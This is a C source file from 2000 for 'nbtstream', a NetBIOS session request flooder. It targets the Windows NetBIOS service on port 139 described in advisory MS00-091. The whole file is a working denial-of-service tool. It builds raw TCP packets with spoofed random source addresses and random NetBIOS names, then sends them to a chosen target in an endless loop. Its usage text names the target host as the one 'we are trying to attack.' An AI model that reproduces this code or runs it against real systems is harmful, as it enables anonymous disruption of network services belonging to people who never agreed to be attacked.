/*                                    
 nbtstream.c - NetBIOS session request flooder
 Tested to compile and work under FreeBSD
 (c) by 3APA3A @ SECURITY.NNOV, 2000
 3APA3A@security.nnov.ru
 http://www.security.nnov.ru

 See MS00-091 for details and patch
 http://www.microsoft.com/technet/security/bulletin/ms00-091.asp
 Thanx to DarkZorro & Error for discovering this problem independently
 from Razor.Bindview
*/

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>

/*
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
*/

#include <netinet/in.h>
#include <netdb.h>

#ifdef LINUX
#define FIX(x)  htons(x)
#else
#define FIX(x)  (x)
#endif

#define  TH_FIN  0x01
#define  TH_SYN  0x02
#define  TH_RST  0x04
#define  TH_PUSH  0x08
#define  TH_ACK  0x10
#define  TH_URG  0x20


struct ip_hdr {
    u_int       ip_hl:4,                /* header length in 32 bit words */
                ip_v:4;                 /* ip version */
    u_char      ip_tos;                 /* type of service */
    u_short     ip_len;                 /* total packet length */
    u_short     ip_id;                  /* identification */
    u_short     ip_off;                 /* fragment offset */
    u_char      ip_ttl;                 /* time to live */
    u_char      ip_p;                   /* protocol */
    u_short     ip_sum;                 /* ip checksum */
    u_long      ip_src, ip_dst;           /* source and dest address */
};

struct tcp_hdr {
    u_short     th_sport;               /* source port */
    u_short     th_dport;               /* destination port */
    u_long      th_seq;                 /* sequence number */
    u_long      th_ack;                 /* acknowledgement number */
    u_int       th_x2:4,                /* unused */
                th_off:4;               /* data offset */
    u_char      th_flags;               /* flags field */
    u_short     th_win;                 /* window size */
    u_short     th_sum;                 /* tcp checksum */
    u_short     th_urp;                 /* urgent pointer */
};

    char data[] =
         "\x81\x00\x00\x44\x20\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41"
         "\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
         "\x41\x43\x41\x43\x41\x43\x41\x00\x20\x43\x41\x43\x41\x43\x41"
         "\x43\x51\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43"
         "\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41";


struct pseudo_hdr {                     /* See RFC 793 Pseudo Header */
    u_long saddr, daddr;                /* source and dest address */
    u_char mbz, ptcl;                   /* zero and protocol */
    u_short tcpl;                       /* tcp length */
};

struct packet {
    struct ip_hdr ip;
    struct tcp_hdr tcp;
    char data[72];
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcp_hdr tcp;
    char data[72];
};


char biglet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-";



u_short dstport;
u_long dstaddr, srcaddr=0;
int sock;
char * nbdst = 0;
char * nbsrc = 0;

void usage(char *progname)
{
    fprintf(stderr, 
     "Usage: %s <dstaddr> <dstnetbios> <srcnetbios>\n"
     "    dstaddr     - the target we are trying to attack.\n"
     "    dstnetbios  - destination NetBIOS name (random if not specifyed)\n"
     "    srcnetbios  - source NetBIOS name (random if not specifyed)\n",
    progname);
    exit(1);
}


void printnbname (int pos, char *name){
 int i;
 for (i=0; name[i]&& i<15; i++) {
        data [pos + 2*i] = (toupper(name[i])>>4 & 0x0F) + 'A';
        data [pos + 1 + 2*i] = (toupper(name[i]) & 0x0F) + 'A';
 }
}

void printnbrnd (int pos){
 int i, c;
 for (i=0; i<15; i++) {
        c = biglet[random()%37];
        data [pos + 2*i] = (c>>4 & 0x0F) + 'A';
        data [pos + 1 + 2*i] = (c & 0x0F) + 'A';
 }
}


/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);                /* add carry */
     answer = ~sum;                     /* truncate to 16 bits */
     return(answer);
}

u_long lookup(char *hostname)
{
    struct hostent *hp;

    if ((hp = gethostbyname(hostname)) == NULL) {
       fprintf(stderr, "Could not resolve %s.\n", hostname);
       exit(-3);
    }

    return *(u_long *)hp->h_addr;
}


void flooder(void)
{
    int i;
    struct packet packet;
    struct cksum  * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ;
    struct sockaddr_in s_in;
    
    
    if(nbsrc) printnbname (39, nbsrc);
    else printnbrnd (39);
    if(nbdst) printnbname (5, nbdst);
    else printnbrnd (5);

    memset(&packet, 0, sizeof(packet));
    memcpy(packet.data, data, 72);
    
    if(!srcaddr)srcaddr = random();


    packet.tcp.th_win           = htons(16384);
    packet.tcp.th_seq           = random();
    packet.tcp.th_ack           = 0;
    packet.tcp.th_off           = 5; /* 5 */
    packet.tcp.th_urp           = 0;
    packet.tcp.th_ack     = rand();
    packet.tcp.th_flags   = TH_ACK;
    packet.tcp.th_sport   = rand();
    packet.tcp.th_dport         = htons(139);
    cksum->pseudo.daddr          = dstaddr;
    cksum->pseudo.saddr     = srcaddr;
    cksum->pseudo.mbz            = 0;
    cksum->pseudo.ptcl           = IPPROTO_TCP;
    cksum->pseudo.tcpl           = htons(sizeof(struct tcp_hdr) + 72);

    packet.tcp.th_sum           = in_cksum((void *)cksum, sizeof(struct cksum));

    packet.ip.ip_hl             = 5;
    packet.ip.ip_v              = 4;
    packet.ip.ip_p              = IPPROTO_TCP;
    packet.ip.ip_tos            = 0x08;
    packet.ip.ip_id             = rand();
    packet.ip.ip_len            = FIX(sizeof(packet));
    packet.ip.ip_off            = 0; /* IP_DF? */
    packet.ip.ip_ttl            = 255;
    packet.ip.ip_dst    = dstaddr;
    packet.ip.ip_src       = srcaddr;
    packet.ip.ip_sum           = 0;
    packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);

    s_in.sin_family             = AF_INET;
    s_in.sin_port               = htons(139);
    s_in.sin_addr.s_addr  = dstaddr;
    for(i=0;;++i) {
       if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0)
          perror("sendto()");
    }
}

int main(int argc, char *argv[])
{
    int on = 1;

    printf("nbtstream.c v0.1 - NBT Session Packet Storm\n 3APA3A@security.nnov.ru\n");

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
       perror("socket()");
       exit(-1);
    }

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
       perror("setsockopt()");
       exit(-2);
    }

    if (argc < 2 || argc > 4)
       usage(argv[0]);

    srand(time(NULL));

    dstaddr     = lookup(argv[1]);

    if(argc >=2) nbdst  = argv[2];
    if(argc >=3) nbsrc   = argv[3];

    printf("Starting"); 
    fflush(stdout);

    flooder();

    return 0;
}